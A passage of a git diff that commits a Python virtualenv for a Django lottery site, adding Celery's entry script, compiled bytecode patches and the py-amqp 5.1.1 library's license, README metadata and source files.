django_lottopy/lib/python3.10/site-packages/vine/funtools.py create mode 100644 django_lottopy/lib/python3.10/site-packages/vine/promises.py create mode 100644 django_lottopy/lib/python3.10/site-packages/vine/synchronization.py create mode 100644 django_lottopy/lib/python3.10/site-packages/vine/utils.py create mode 100644 django_lottopy/lib/python3.10/site-packages/wcwidth-0.2.5.dist-info/INSTALLER create mode 100644 django_lottopy/lib/python3.10/site-packages/wcwidth-0.2.5.dist-info/LICENSE create mode 100644 django_lottopy/lib/python3.10/site-packages/wcwidth-0.2.5.dist-info/METADATA create mode 100644 django_lottopy/lib/python3.10/site-packages/wcwidth-0.2.5.dist-info/RECORD create mode 100644 django_lottopy/lib/python3.10/site-packages/wcwidth-0.2.5.dist-info/WHEEL create mode 100644 django_lottopy/lib/python3.10/site-packages/wcwidth-0.2.5.dist-info/top_level.txt create mode 100644 django_lottopy/lib/python3.10/site-packages/wcwidth-0.2.5.dist-info/zip-safe create mode 100644 django_lottopy/lib/python3.10/site-packages/wcwidth/__init__.py create mode 100644 django_lottopy/lib/python3.10/site-packages/wcwidth/table_wide.py create mode 100644 django_lottopy/lib/python3.10/site-packages/wcwidth/table_zero.py create mode 100644 django_lottopy/lib/python3.10/site-packages/wcwidth/tests/__init__.py create mode 100644 django_lottopy/lib/python3.10/site-packages/wcwidth/tests/test_core.py create mode 100644 django_lottopy/lib/python3.10/site-packages/wcwidth/unicode_versions.py create mode 100644 django_lottopy/lib/python3.10/site-packages/wcwidth/version.json create mode 100644 django_lottopy/lib/python3.10/site-packages/wcwidth/wcwidth.py create mode 100644 lottopy_site/lottopy/celery.py create mode 100644 lottopy_site/lottopy/sitemaps.py create mode 100644 lottopy_site/lottopy/tasks.py diff --git a/django_lottopy/bin/celery b/django_lottopy/bin/celery new file mode 100755 index 00000000..8ab78aac --- /dev/null +++ b/django_lottopy/bin/celery @@ -0,0 +1,8 @@ +#!/home/williedynamite/projects/django_lottopy/django_lottopy/bin/python +# -*- coding: utf-8 -*- +import re +import sys +from celery.__main__ import main +if __name__ == '__main__': + sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0]) + sys.exit(main()) diff --git a/django_lottopy/lib/python3.10/site-packages/__pycache__/six.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/__pycache__/six.cpython-310.pyc index 7cf00d0f106e01c617383e2d1884d4432812dfeb..b4af19ffc80500cfd906fdf89ffd07a7f8fb1f79 100644 GIT binary patch delta 4339 zcmaJ^X;53&71kAtgd_wuU>36(3|L?m8@%F$)hq^s4F+?I{dkfdLPqF`t0!Yf8q#Lm zrrAt#ve?r}#-2`_@wAyqqsij5Nz=WZb|&p)n#?GP+x*F5w{?snd*Z?HeT!5n&ey3K@tr*qG^A9NJ6H9xKSi-SE6pE>4oo?2pFFEGF zB<(Sh?qVILqxs`zeukgbR%>VPV#jN}h12FGi};^*_IRUKyDTGDJG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pUZZ4yL3sac3U6?Z4;=8Kbk710tbv5ARIV0OS@`mn{B3xCfdMA!K)Yf1D=0@9*h^S#+e1bzRw9&z&SCKxWY!KM#HfE7O+HLGOu!1q{3B!b)G{9)(e=YpH|7Oi{AJb z#9QRsHCUy4_N7hjbO*x-W1h8k7pXlc!;OhU9 z<9D_X>TC)+b&A;v#~w+%%6N92nwcWyvkjxkF27`DyqCQOut3M|GVkMq`_k3s)1cpL zjpCr)_ koUEWkfmi1FkG$Gk@+ZrpE()YGZV9#pyFAZD`r$SH0_$gnpa1{> diff --git a/django_lottopy/lib/python3.10/site-packages/_distutils_hack/__pycache__/override.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/_distutils_hack/__pycache__/override.cpython-310.pyc index f6e42eca2b45d35b307df3fdf7e5102d8996852e..65c86b5732acd24d83589f84675c1eb1eb7c49d6 100644 GIT binary patch delta 51 zcmZo+YGLBZ=jG*M0D@le8A%g)Oc-xXbd(pn#hsELpI??*RFs*Lx{{%Y1*o8iWnx($ E09cU@o&W#< delta 51 zcmZo+YGLBZ=jG*M0D`O!yAvn!m@r07bd(p1;!eqr&o4_YD#}brUCB_y1XNJOG_kA? E09)%0asU7T diff --git a/django_lottopy/lib/python3.10/site-packages/amqp-5.1.1.dist-info/INSTALLER b/django_lottopy/lib/python3.10/site-packages/amqp-5.1.1.dist-info/INSTALLER new file mode 100644 index 00000000..a1b589e3 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/amqp-5.1.1.dist-info/INSTALLER @@ -0,0 +1 @@ +pip diff --git a/django_lottopy/lib/python3.10/site-packages/amqp-5.1.1.dist-info/LICENSE b/django_lottopy/lib/python3.10/site-packages/amqp-5.1.1.dist-info/LICENSE new file mode 100644 index 00000000..46087c2a --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/amqp-5.1.1.dist-info/LICENSE @@ -0,0 +1,47 @@ +Copyright (c) 2015-2016 Ask Solem & contributors. All rights reserved. +Copyright (c) 2012-2014 GoPivotal, Inc. All rights reserved. +Copyright (c) 2009, 2010, 2011, 2012 Ask Solem, and individual contributors. All rights reserved. +Copyright (C) 2007-2008 Barry Pederson . All rights reserved. + +py-amqp is licensed under The BSD License (3 Clause, also known as +the new BSD license). The license is an OSI approved Open Source +license and is GPL-compatible(1). + +The license text can also be found here: +http://www.opensource.org/licenses/BSD-3-Clause + +License +======= + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + * Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + * Neither the name of Ask Solem, nor the + names of its contributors may be used to endorse or promote products + derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL Ask Solem OR CONTRIBUTORS +BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. + + +Footnotes +========= +(1) A GPL-compatible license makes it possible to + combine Celery with other software that is released + under the GPL, it does not mean that we're distributing + Celery under the GPL license. The BSD license, unlike the GPL, + let you distribute a modified version without making your + changes open source. diff --git a/django_lottopy/lib/python3.10/site-packages/amqp-5.1.1.dist-info/METADATA b/django_lottopy/lib/python3.10/site-packages/amqp-5.1.1.dist-info/METADATA new file mode 100644 index 00000000..6cd9b35c --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/amqp-5.1.1.dist-info/METADATA @@ -0,0 +1,241 @@ +Metadata-Version: 2.1 +Name: amqp +Version: 5.1.1 +Summary: Low-level AMQP client for Python (fork of amqplib). +Home-page: http://github.com/celery/py-amqp +Author: Barry Pederson +Author-email: pyamqp@celeryproject.org +Maintainer: Asif Saif Uddin, Matus Valo +License: BSD +Keywords: amqp rabbitmq cloudamqp messaging +Platform: any +Classifier: Development Status :: 5 - Production/Stable +Classifier: Programming Language :: Python +Classifier: Programming Language :: Python :: 3 :: Only +Classifier: Programming Language :: Python :: 3 +Classifier: Programming Language :: Python :: 3.7 +Classifier: Programming Language :: Python :: 3.8 +Classifier: Programming Language :: Python :: 3.9 +Classifier: Programming Language :: Python :: 3.10 +Classifier: Programming Language :: Python :: Implementation :: CPython +Classifier: Programming Language :: Python :: Implementation :: PyPy +Classifier: License :: OSI Approved :: BSD License +Classifier: Intended Audience :: Developers +Classifier: Operating System :: OS Independent +Requires-Python: >=3.6 +Description-Content-Type: text/x-rst +License-File: LICENSE +Requires-Dist: vine (>=5.0.0) + +===================================================================== + Python AMQP 0.9.1 client library +===================================================================== + +|build-status| |coverage| |license| |wheel| |pyversion| |pyimp| + +:Version: 5.1.1 +:Web: https://amqp.readthedocs.io/ +:Download: https://pypi.org/project/amqp/ +:Source: http://github.com/celery/py-amqp/ +:Keywords: amqp, rabbitmq + +About +===== + +This is a fork of amqplib_ which was originally written by Barry Pederson. +It is maintained by the Celery_ project, and used by `kombu`_ as a pure python +alternative when `librabbitmq`_ is not available. + +This library should be API compatible with `librabbitmq`_. + +.. _amqplib: https://pypi.org/project/amqplib/ +.. _Celery: http://celeryproject.org/ +.. _kombu: https://kombu.readthedocs.io/ +.. _librabbitmq: https://pypi.org/project/librabbitmq/ + +Differences from `amqplib`_ +=========================== + +- Supports draining events from multiple channels (``Connection.drain_events``) +- Support for timeouts +- Channels are restored after channel error, instead of having to close the + connection. +- Support for heartbeats + + - ``Connection.heartbeat_tick(rate=2)`` must called at regular intervals + (half of the heartbeat value if rate is 2). + - Or some other scheme by using ``Connection.send_heartbeat``. +- Supports RabbitMQ extensions: + - Consumer Cancel Notifications + - by default a cancel results in ``ChannelError`` being raised + - but not if a ``on_cancel`` callback is passed to ``basic_consume``. + - Publisher confirms + - ``Channel.confirm_select()`` enables publisher confirms. + - ``Channel.events['basic_ack'].append(my_callback)`` adds a callback + to be called when a message is confirmed. This callback is then + called with the signature ``(delivery_tag, multiple)``. + - Exchange-to-exchange bindings: ``exchange_bind`` / ``exchange_unbind``. + - ``Channel.confirm_select()`` enables publisher confirms. + - ``Channel.events['basic_ack'].append(my_callback)`` adds a callback + to be called when a message is confirmed. This callback is then + called with the signature ``(delivery_tag, multiple)``. + - Authentication Failure Notifications + Instead of just closing the connection abruptly on invalid + credentials, py-amqp will raise an ``AccessRefused`` error + when connected to rabbitmq-server 3.2.0 or greater. +- Support for ``basic_return`` +- Uses AMQP 0-9-1 instead of 0-8. + - ``Channel.access_request`` and ``ticket`` arguments to methods + **removed**. + - Supports the ``arguments`` argument to ``basic_consume``. + - ``internal`` argument to ``exchange_declare`` removed. + - ``auto_delete`` argument to ``exchange_declare`` deprecated + - ``insist`` argument to ``Connection`` removed. + - ``Channel.alerts`` has been removed. + - Support for ``Channel.basic_recover_async``. + - ``Channel.basic_recover`` deprecated. +- Exceptions renamed to have idiomatic names: + - ``AMQPException`` -> ``AMQPError`` + - ``AMQPConnectionException`` -> ConnectionError`` + - ``AMQPChannelException`` -> ChannelError`` + - ``Connection.known_hosts`` removed. + - ``Connection`` no longer supports redirects. + - ``exchange`` argument to ``queue_bind`` can now be empty + to use the "default exchange". +- Adds ``Connection.is_alive`` that tries to detect + whether the connection can still be used. +- Adds ``Connection.connection_errors`` and ``.channel_errors``, + a list of recoverable errors. +- Exposes the underlying socket as ``Connection.sock``. +- Adds ``Channel.no_ack_consumers`` to keep track of consumer tags + that set the no_ack flag. +- Slightly better at error recovery + +Quick overview +============== + +Simple producer publishing messages to ``test`` queue using default exchange: + +.. code:: python + + import amqp + + with amqp.Connection('broker.example.com') as c: + ch = c.channel() + ch.basic_publish(amqp.Message('Hello World'), routing_key='test') + +Producer publishing to ``test_exchange`` exchange with publisher confirms enabled and using virtual_host ``test_vhost``: + +.. code:: python + + import amqp + + with amqp.Connection( + 'broker.example.com', exchange='test_exchange', + confirm_publish=True, virtual_host='test_vhost' + ) as c: + ch = c.channel() + ch.basic_publish(amqp.Message('Hello World'), routing_key='test') + +Consumer with acknowledgments enabled: + +.. code:: python + + import amqp + + with amqp.Connection('broker.example.com') as c: + ch = c.channel() + def on_message(message): + print('Received message (delivery tag: {}): {}'.format(message.delivery_tag, message.body)) + ch.basic_ack(message.delivery_tag) + ch.basic_consume(queue='test', callback=on_message) + while True: + c.drain_events() + + +Consumer with acknowledgments disabled: + +.. code:: python + + import amqp + + with amqp.Connection('broker.example.com') as c: + ch = c.channel() + def on_message(message): + print('Received message (delivery tag: {}): {}'.format(message.delivery_tag, message.body)) + ch.basic_consume(queue='test', callback=on_message, no_ack=True) + while True: + c.drain_events() + +Speedups +======== + +This library has **experimental** support of speedups. Speedups are implemented using Cython. To enable speedups, ``CELERY_ENABLE_SPEEDUPS`` environment variable must be set during building/installation. +Currently speedups can be installed: + +1. using source package (using ``--no-binary`` switch): + +.. code:: shell + + CELERY_ENABLE_SPEEDUPS=true pip install --no-binary :all: amqp + + +2. building directly source code: + +.. code:: shell + + CELERY_ENABLE_SPEEDUPS=true python setup.py install + +Further +======= + +- Differences between AMQP 0.8 and 0.9.1 + + http://www.rabbitmq.com/amqp-0-8-to-0-9-1.html + +- AMQP 0.9.1 Quick Reference + + http://www.rabbitmq.com/amqp-0-9-1-quickref.html + +- RabbitMQ Extensions + + http://www.rabbitmq.com/extensions.html + +- For more information about AMQP, visit + + http://www.amqp.org + +- For other Python client libraries see: + + http://www.rabbitmq.com/devtools.html#python-dev + +.. |build-status| image:: https://api.travis-ci.com/celery/py-amqp.png?branch=master + :alt: Build status + :target: https://travis-ci.com/celery/py-amqp + +.. |coverage| image:: https://codecov.io/github/celery/py-amqp/coverage.svg?branch=master + :target: https://codecov.io/github/celery/py-amqp?branch=master + +.. |license| image:: https://img.shields.io/pypi/l/amqp.svg + :alt: BSD License + :target: https://opensource.org/licenses/BSD-3-Clause + +.. |wheel| image:: https://img.shields.io/pypi/wheel/amqp.svg + :alt: Python AMQP can be installed via wheel + :target: https://pypi.org/project/amqp/ + +.. |pyversion| image:: https://img.shields.io/pypi/pyversions/amqp.svg + :alt: Supported Python versions. + :target: https://pypi.org/project/amqp/ + +.. |pyimp| image:: https://img.shields.io/pypi/implementation/amqp.svg + :alt: Support Python implementations. + :target: https://pypi.org/project/amqp/ + +py-amqp as part of the Tidelift Subscription +============================================ + +The maintainers of py-amqp and thousands of other packages are working with Tidelift to deliver commercial support and maintenance for the open source dependencies you use to build your applications. Save time, reduce risk, and improve code health, while paying the maintainers of the exact dependencies you use. [Learn more.](https://tidelift.com/subscription/pkg/pypi-amqp?utm_source=pypi-amqp&utm_medium=referral&utm_campaign=readme&utm_term=repo) + + + diff --git a/django_lottopy/lib/python3.10/site-packages/amqp-5.1.1.dist-info/RECORD b/django_lottopy/lib/python3.10/site-packages/amqp-5.1.1.dist-info/RECORD new file mode 100644 index 00000000..51029abf --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/amqp-5.1.1.dist-info/RECORD @@ -0,0 +1,34 @@ +amqp-5.1.1.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 +amqp-5.1.1.dist-info/LICENSE,sha256=9e9fEoLq4ZMcdGRfhxm2xps9aizyd7_aJJqCcM1HOvM,2372 +amqp-5.1.1.dist-info/METADATA,sha256=U0V_hIpM3GJaDCdXXI_LGo1jZJFydz6_b29E2aohLmc,8867 +amqp-5.1.1.dist-info/RECORD,, +amqp-5.1.1.dist-info/WHEEL,sha256=G16H4A3IeoQmnOrYV4ueZGKSjhipXx8zc8nu9FGlvMA,92 +amqp-5.1.1.dist-info/top_level.txt,sha256=tWQNmFVhU4UtDgB6Yy2lKqRz7LtOrRcN8_bPFVcVVR8,5 +amqp/__init__.py,sha256=-o4VeUXiY-qfYQNUKLRc2ry9pYi6a4HEjMTwXsX_ios,2365 +amqp/__pycache__/__init__.cpython-310.pyc,, +amqp/__pycache__/abstract_channel.cpython-310.pyc,, +amqp/__pycache__/basic_message.cpython-310.pyc,, +amqp/__pycache__/channel.cpython-310.pyc,, +amqp/__pycache__/connection.cpython-310.pyc,, +amqp/__pycache__/exceptions.cpython-310.pyc,, +amqp/__pycache__/method_framing.cpython-310.pyc,, +amqp/__pycache__/platform.cpython-310.pyc,, +amqp/__pycache__/protocol.cpython-310.pyc,, +amqp/__pycache__/sasl.cpython-310.pyc,, +amqp/__pycache__/serialization.cpython-310.pyc,, +amqp/__pycache__/spec.cpython-310.pyc,, +amqp/__pycache__/transport.cpython-310.pyc,, +amqp/__pycache__/utils.cpython-310.pyc,, +amqp/abstract_channel.py,sha256=D_OEWvX48yKUzMYm_sN-IDRQmqIGvegi9KlJriqttBc,4941 +amqp/basic_message.py,sha256=Q8DV31tuuphloTETPHiJFwNg6b5M6pccJ0InJ4MZUz8,3357 +amqp/channel.py,sha256=XzCuKPy9qFMiTsnqksKpFIh9PUcKZm3uIXm1RFCeZQs,74475 +amqp/connection.py,sha256=e_FbJYzI1_ekUbWzlQ6kIHOn8sM2Npen10WH3TFv0A8,27347 +amqp/exceptions.py,sha256=yqjoFIRue2rvK7kMdvkKsGOD6dMOzzzT3ZzBwoGWAe4,7166 +amqp/method_framing.py,sha256=avnw90X9t4995HpHoZV4-1V73UEbzUKJ83pHEicAqWY,6734 +amqp/platform.py,sha256=cyLevv6E15P9zhMo_fV84p67Q_A8fdsTq9amjvlUwqE,2379 +amqp/protocol.py,sha256=Di3y6qqhnOV4QtkeYKO-zryfWqwl3F1zUxDOmVSsAp0,291 +amqp/sasl.py,sha256=6AbsnxlbAyoiYxDezoQTfm-E0t_TJyHXpqGJ0KlPkI4,5986 +amqp/serialization.py,sha256=xzzXmmQ45fGUuSCxGTEMizmRQTmzaz3Z7YYfpxmfXuY,17162 +amqp/spec.py,sha256=2ZjbL4FR4Fv67HA7HUI9hLUIvAv3A4ZH6GRPzrMRyWg,2121 +amqp/transport.py,sha256=MyiYBerBqAMFCM-fyZgPXiCha3dz-2S6Z9cGO8IZyTg,22826 +amqp/utils.py,sha256=JjjY040LwsDUc1zmKP2VTzXBioVXy48DUZtWB8PaPy0,1456 diff --git a/django_lottopy/lib/python3.10/site-packages/amqp-5.1.1.dist-info/WHEEL b/django_lottopy/lib/python3.10/site-packages/amqp-5.1.1.dist-info/WHEEL new file mode 100644 index 00000000..becc9a66 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/amqp-5.1.1.dist-info/WHEEL @@ -0,0 +1,5 @@ +Wheel-Version: 1.0 +Generator: bdist_wheel (0.37.1) +Root-Is-Purelib: true +Tag: py3-none-any + diff --git a/django_lottopy/lib/python3.10/site-packages/amqp-5.1.1.dist-info/top_level.txt b/django_lottopy/lib/python3.10/site-packages/amqp-5.1.1.dist-info/top_level.txt new file mode 100644 index 00000000..5e610d34 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/amqp-5.1.1.dist-info/top_level.txt @@ -0,0 +1 @@ +amqp diff --git a/django_lottopy/lib/python3.10/site-packages/amqp/__init__.py b/django_lottopy/lib/python3.10/site-packages/amqp/__init__.py new file mode 100644 index 00000000..1899b52e --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/amqp/__init__.py @@ -0,0 +1,75 @@ +"""Low-level AMQP client for Python (fork of amqplib).""" +# Copyright (C) 2007-2008 Barry Pederson + +import re +from collections import namedtuple + +__version__ = '5.1.1' +__author__ = 'Barry Pederson' +__maintainer__ = 'Asif Saif Uddin, Matus Valo' +__contact__ = 'pyamqp@celeryproject.org' +__homepage__ = 'http://github.com/celery/py-amqp' +__docformat__ = 'restructuredtext' + +# -eof meta- + +version_info_t = namedtuple('version_info_t', ( + 'major', 'minor', 'micro', 'releaselevel', 'serial', +)) + +# bumpversion can only search for {current_version} +# so we have to parse the version here. +_temp = re.match( + r'(\d+)\.(\d+).(\d+)(.+)?', __version__).groups() +VERSION = version_info = version_info_t( + int(_temp[0]), int(_temp[1]), int(_temp[2]), _temp[3] or '', '') +del(_temp) +del(re) + +from .basic_message import Message # noqa +from .channel import Channel # noqa +from .connection import Connection # noqa +from .exceptions import (AccessRefused, AMQPError, # noqa + AMQPNotImplementedError, ChannelError, ChannelNotOpen, + ConnectionError, ConnectionForced, ConsumerCancelled, + ContentTooLarge, FrameError, FrameSyntaxError, + InternalError, InvalidCommand, InvalidPath, + IrrecoverableChannelError, + IrrecoverableConnectionError, NoConsumers, NotAllowed, + NotFound, PreconditionFailed, RecoverableChannelError, + RecoverableConnectionError, ResourceError, + ResourceLocked, UnexpectedFrame, error_for_code) +from .utils import promise # noqa + +__all__ = ( + 'Connection', + 'Channel', + 'Message', + 'promise', + 'AMQPError', + 'ConnectionError', + 'RecoverableConnectionError', + 'IrrecoverableConnectionError', + 'ChannelError', + 'RecoverableChannelError', + 'IrrecoverableChannelError', + 'ConsumerCancelled', + 'ContentTooLarge', + 'NoConsumers', + 'ConnectionForced', + 'InvalidPath', + 'AccessRefused', + 'NotFound', + 'ResourceLocked', + 'PreconditionFailed', + 'FrameError', + 'FrameSyntaxError', + 'InvalidCommand', + 'ChannelNotOpen', + 'UnexpectedFrame', + 'ResourceError', + 'NotAllowed', + 'AMQPNotImplementedError', + 'InternalError', + 'error_for_code', +) diff --git a/django_lottopy/lib/python3.10/site-packages/amqp/abstract_channel.py b/django_lottopy/lib/python3.10/site-packages/amqp/abstract_channel.py new file mode 100644 index 00000000..ae95a89e --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/amqp/abstract_channel.py @@ -0,0 +1,163 @@ +"""Code common to Connection and Channel objects.""" +# Copyright (C) 2007-2008 Barry Pederson ) + +import logging + +from vine import ensure_promise, promise + +from .exceptions import AMQPNotImplementedError, RecoverableConnectionError +from .serialization import dumps, loads + +__all__ = ('AbstractChannel',) + +AMQP_LOGGER = logging.getLogger('amqp') + +IGNORED_METHOD_DURING_CHANNEL_CLOSE = """\ +Received method %s during closing channel %s. This method will be ignored\ +""" + + +class AbstractChannel: + """Superclass for Connection and Channel. + + The connection is treated as channel 0, then comes + user-created channel objects. + + The subclasses must have a _METHOD_MAP class property, mapping + between AMQP method signatures and Python methods. + """ + + def __init__(self, connection, channel_id): + self.is_closing = False + self.connection = connection + self.channel_id = channel_id + connection.channels[channel_id] = self + self.method_queue = [] # Higher level queue for methods + self.auto_decode = False + self._pending = {} + self._callbacks = {} + + self._setup_listeners() + + __slots__ = ( + "is_closing", + "connection", + "channel_id", + "method_queue", + "auto_decode", + "_pending", + "_callbacks", + # adding '__dict__' to get dynamic assignment + "__dict__", + "__weakref__", + ) + + def __enter__(self): + return self + + def __exit__(self, *exc_info): + self.close() + + def send_method(self, sig, + format=None, args=None, content=None, + wait=None, callback=None, returns_tuple=False): + p = promise() + conn = self.connection + if conn is None: + raise RecoverableConnectionError('connection already closed') + args = dumps(format, args) if format else '' + try: + conn.frame_writer(1, self.channel_id, sig, args, content) + except StopIteration: + raise RecoverableConnectionError('connection already closed') + + # TODO temp: callback should be after write_method ... ;) + if callback: + p.then(callback) + p() + if wait: + return self.wait(wait, returns_tuple=returns_tuple) + return p + + def close(self): + """Close this Channel or Connection.""" + raise NotImplementedError('Must be overridden in subclass') + + def wait(self, method, callback=None, timeout=None, returns_tuple=False): + p = ensure_promise(callback) + pending = self._pending + prev_p = [] + if not isinstance(method, list): + method = [method] + + for m in method: + prev_p.append(pending.get(m)) + pending[m] = p + + try: + while not p.ready: + self.connection.drain_events(timeout=timeout) + + if p.value: + args, kwargs = p.value + args = args[1:] # We are not returning method back + return args if returns_tuple else (args and args[0]) + finally: + for i, m in enumerate(method): + if prev_p[i] is not None: + pending[m] = prev_p[i] + else: + pending.pop(m, None) + + def dispatch_method(self, method_sig, payload, content): + if self.is_closing and method_sig not in ( + self._ALLOWED_METHODS_WHEN_CLOSING + ): + # When channel.close() was called we must ignore all methods except + # Channel.close and Channel.CloseOk + AMQP_LOGGER.warning( + IGNORED_METHOD_DURING_CHANNEL_CLOSE, + method_sig, self.channel_id + ) + return + + if content and \ + self.auto_decode and \ + hasattr(content, 'content_encoding'): + try: + content.body = content.body.decode(content.content_encoding) + except Exception: + pass + + try: + amqp_method = self._METHODS[method_sig] + except KeyError: + raise AMQPNotImplementedError( + f'Unknown AMQP method {method_sig!r}') + + try: + listeners = [self._callbacks[method_sig]] + except KeyError: + listeners = [] + one_shot = None + try: + one_shot = self._pending.pop(method_sig) + except KeyError: + if not listeners: + return + + args = [] + if amqp_method.args: + args, _ = loads(amqp_method.args, payload, 4) + if amqp_method.content: + args.append(content) + + for listener in listeners: + listener(*args) + + if one_shot: + one_shot(method_sig, *args) + + #: Placeholder, the concrete implementations will have to + #: supply their own versions of _METHOD_MAP + _METHODS = {} diff --git a/django_lottopy/lib/python3.10/site-packages/amqp/basic_message.py b/django_lottopy/lib/python3.10/site-packages/amqp/basic_message.py new file mode 100644 index 00000000..cee0515d --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/amqp/basic_message.py @@ -0,0 +1,122 @@ +"""AMQP Messages.""" +# Copyright (C) 2007-2008 Barry Pederson +from .serialization import GenericContent +# Intended to fix #85: ImportError: cannot import name spec +# Encountered on python 2.7.3 +# "The submodules often need to refer to each other. For example, the +# surround [sic] module might use the echo module. In fact, such +# references are so common that the import statement first looks in +# the containing package before looking in the standard module search +# path." +# Source: +# http://stackoverflow.com/a/14216937/4982251 +from .spec import Basic + +__all__ = ('Message',) + + +class Message(GenericContent): + """A Message for use with the Channel.basic_* methods. + + Expected arg types + + body: string + children: (not supported) + + Keyword properties may include: + + content_type: shortstr + MIME content type + + content_encoding: shortstr + MIME content encoding + + application_headers: table + Message header field table, a dict with string keys, + and string | int | Decimal | datetime | dict values. + + delivery_mode: octet + Non-persistent (1) or persistent (2) + + priority: octet + The message priority, 0 to 9 + + correlation_id: shortstr + The application correlation identifier + + reply_to: shortstr + The destination to reply to + + expiration: shortstr + Message expiration specification + + message_id: shortstr + The application message identifier + + timestamp: unsigned long + The message timestamp + + type: shortstr + The message type name + + user_id: shortstr + The creating user id + + app_id: shortstr + The creating application id + + cluster_id: shortstr + Intra-cluster routing identifier + + Unicode bodies are encoded according to the 'content_encoding' + argument. If that's None, it's set to 'UTF-8' automatically. + + Example:: + + msg = Message('hello world', + content_type='text/plain', + application_headers={'foo': 7}) + """ + + CLASS_ID = Basic.CLASS_ID + + #: Instances of this class have these attributes, which + #: are passed back and forth as message properties between + #: client and server + PROPERTIES = [ + ('content_type', 's'), + ('content_encoding', 's'), + ('application_headers', 'F'), + ('delivery_mode', 'o'), + ('priority', 'o'), + ('correlation_id', 's'), + ('reply_to', 's'), + ('expiration', 's'), + ('message_id', 's'), + ('timestamp', 'L'), + ('type', 's'), + ('user_id', 's'), + ('app_id', 's'), + ('cluster_id', 's') + ] + + def __init__(self, body='', children=None, channel=None, **properties): + super().__init__(**properties) + #: set by basic_consume/basic_get + self.delivery_info = None + self.body = body + self.channel = channel + + __slots__ = ( + "delivery_info", + "body", + "channel", + ) + + @property + def headers(self): + return self.properties.get('application_headers') + + @property + def delivery_tag(self): + return self.delivery_info.get('delivery_tag') diff --git a/django_lottopy/lib/python3.10/site-packages/amqp/channel.py b/django_lottopy/lib/python3.10/site-packages/amqp/channel.py new file mode 100644 index 00000000..fffc7b8e --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/amqp/channel.py @@ -0,0 +1,2127 @@ +"""AMQP Channels.""" +# Copyright (C) 2007-2008 Barry Pederson + +import logging +import socket +from collections import defaultdict +from queue import Queue + +from vine import ensure_promise + +from . import spec +from .abstract_channel import AbstractChannel +from .exceptions import (ChannelError, ConsumerCancelled, MessageNacked, + RecoverableChannelError, RecoverableConnectionError, + error_for_code) +from .protocol import queue_declare_ok_t + +__all__ = ('Channel',) + +AMQP_LOGGER = logging.getLogger('amqp') + +REJECTED_MESSAGE_WITHOUT_CALLBACK = """\ +Rejecting message with delivery tag %r for reason of having no callbacks. +consumer_tag=%r exchange=%r routing_key=%r.\ +""" + + +class VDeprecationWarning(DeprecationWarning): + pass + + +class Channel(AbstractChannel): + """AMQP Channel. + + The channel class provides methods for a client to establish a + virtual connection - a channel - to a server and for both peers to + operate the virtual connection thereafter. + + GRAMMAR:: + + channel = open-channel *use-channel close-channel + open-channel = C:OPEN S:OPEN-OK + use-channel = C:FLOW S:FLOW-OK + / S:FLOW C:FLOW-OK + / functional-class + close-channel = C:CLOSE S:CLOSE-OK + / S:CLOSE C:CLOSE-OK + + Create a channel bound to a connection and using the specified + numeric channel_id, and open on the server. + + The 'auto_decode' parameter (defaults to True), indicates + whether the library should attempt to decode the body + of Messages to a Unicode string if there's a 'content_encoding' + property for the message. If there's no 'content_encoding' + property, or the decode raises an Exception, the message body + is left as plain bytes. + """ + + _METHODS = { + spec.method(spec.Channel.Close, 'BsBB'), + spec.method(spec.Channel.CloseOk), + spec.method(spec.Channel.Flow, 'b'), + spec.method(spec.Channel.FlowOk, 'b'), + spec.method(spec.Channel.OpenOk), + spec.method(spec.Exchange.DeclareOk), + spec.method(spec.Exchange.DeleteOk), + spec.method(spec.Exchange.BindOk), + spec.method(spec.Exchange.UnbindOk), + spec.method(spec.Queue.BindOk), + spec.method(spec.Queue.UnbindOk), + spec.method(spec.Queue.DeclareOk, 'sll'), + spec.method(spec.Queue.DeleteOk, 'l'), + spec.method(spec.Queue.PurgeOk, 'l'), + spec.method(spec.Basic.Cancel, 's'), + spec.method(spec.Basic.CancelOk, 's'), + spec.method(spec.Basic.ConsumeOk, 's'), + spec.method(spec.Basic.Deliver, 'sLbss', content=True), + spec.method(spec.Basic.GetEmpty, 's'), + spec.method(spec.Basic.GetOk, 'Lbssl', content=True), + spec.method(spec.Basic.QosOk), + spec.method(spec.Basic.RecoverOk), + spec.method(spec.Basic.Return, 'Bsss', content=True), + spec.method(spec.Tx.CommitOk), + spec.method(spec.Tx.RollbackOk), + spec.method(spec.Tx.SelectOk), + spec.method(spec.Confirm.SelectOk), + spec.method(spec.Basic.Ack, 'Lb'), + spec.method(spec.Basic.Nack, 'Lb'), + } + 